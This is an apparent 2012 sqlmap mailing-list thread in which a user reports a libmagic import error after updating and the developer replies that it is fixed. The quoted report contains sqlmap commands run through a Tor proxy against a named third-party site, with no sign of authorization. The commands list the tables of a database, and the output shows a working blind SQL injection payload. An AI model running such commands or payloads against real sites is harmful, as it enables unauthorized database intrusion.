It should be fixed now.
Can you please retry?
Bernardo
On 19 December 2012 12:05, Andreas Constantinides (MegaHz) <
meg...@megahz.org> wrote:
>
> Hello,
>
> check at this:
>
> sqlmap was working:
>
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "
> http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10";
> --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
> dassad33_kjd7sadh --random-agent
>
> sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover
> tool
> http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user's responsibility to obey all
> applicable local, state and federal laws. Developers assume no liability
> and are not responsible for any misuse or damage caused by this program
>
> [*] starting at 14:00:14
>
> [14:00:14] [INFO] fetched random HTTP User-Agent header from file
> '/Volumes/EXTRA SPACE/tools/sqlmap-dev/txt/user-agents.txt': Mozilla/5.0
> (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203
> AskTbCDS/3.9.1.14019 Firefox/3.6.13
> [14:00:15] [INFO] resuming back-end DBMS 'microsoft sql server'
> [14:00:15] [INFO] testing connection to the target url
> sqlmap identified the following injection points with a total of 0 HTTP(s)
> requests:
> ---
> Place: GET
> Parameter: filter_searchResults
> Type: boolean-based blind
> Title: AND boolean-based blind - WHERE or HAVING clause
> Payload:
> a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007) AND
> 4775=4775 AND
> (4447=4447&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY,TEXT&a_name=search_1&customrpp=10
> ---
> [14:00:19] [INFO] the back-end DBMS is Microsoft SQL Server
> web server operating system: Windows 2003
> web application technology: ColdFusion, Microsoft IIS 6.0
> back-end DBMS: Microsoft SQL Server 2005
>
>
> I updated:
>
>
> sast-iMac:sqlmap-dev sast$
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py --update
>
> sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover
> tool
> http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user's responsibility to obey all
> applicable local, state and federal laws. Developers assume no liability
> and are not responsible for any misuse or damage caused by this program
>
> [*] starting at 14:00:34
>
> [14:00:34] [INFO] updating sqlmap to the latest development version from
> the GitHub repository
> [14:00:34] [INFO] update in progress .......
> [14:00:41] [INFO] updated to the latest revision '54752a9'
>
> [*] shutting down at 14:00:41
>
>
> and now with the same command i get errors:
>
>
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "
> http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10";
> --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
> dassad33_kjd7sadh --random-agent
> Traceback (most recent call last):
> File "./sqlmap.py", line 15, in <module>
> from _sqlmap import main
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in
> <module>
> from lib.controller.controller import start
> File "/Volumes/EXTRA
> SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module>
> from lib.controller.action import action
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py",
> line 8, in <module>
> from lib.controller.handler import setHandler
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py",
> line 8, in <module>
> from lib.core.common import Backend
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line
> 133, in <module>
> from thirdparty.magic import magic
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py",
> line 132, in <module>
> raise ImportError('failed to find libmagic. Check your installation')
> ImportError: failed to find libmagic. Check your installation
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "
> http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10";
> --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
> dassad33_kjd7sadh --random-agent
> Traceback (most recent call last):
> File "./sqlmap.py", line 15, in <module>
> from _sqlmap import main
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in
> <module>
> from lib.controller.controller import start
> File "/Volumes/EXTRA
> SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module>
> from lib.controller.action import action
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py",
> line 8, in <module>
> from lib.controller.handler import setHandler
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py",
> line 8, in <module>
> from lib.core.common import Backend
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line
> 133, in <module>
> from thirdparty.magic import magic
> File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py",
> line 132, in <module>
> raise ImportError('failed to find libmagic. Check your installation')
> ImportError: failed to find libmagic. Check your installation
> sast-iMac:sqlmap-dev sast$
>
>
>
> any ideas?
>
> thanks
>
>
> ------------------------------------------------------------------------------
> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
> Remotely access PCs and mobile devices and provide instant support
> Improve your efficiency, and focus on delivering more value-add services
> Discover what IT Professionals Know. Rescue delivers
> http://p.sf.net/sfu/logmein_12329d2d
> _______________________________________________
> sqlmap-users mailing list
> sqlmap-users@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
--
Bernardo Damele A. G.
E-mail / Jabber: bernardo.damele (at) gmail.com
Mobile: +447788962949 (UK 07788962949)
------------------------------------------------------------------------------
LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
Remotely access PCs and mobile devices and provide instant support
Improve your efficiency, and focus on delivering more value-add services
Discover what IT Professionals Know. Rescue delivers
http://p.sf.net/sfu/logmein_12329d2d
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
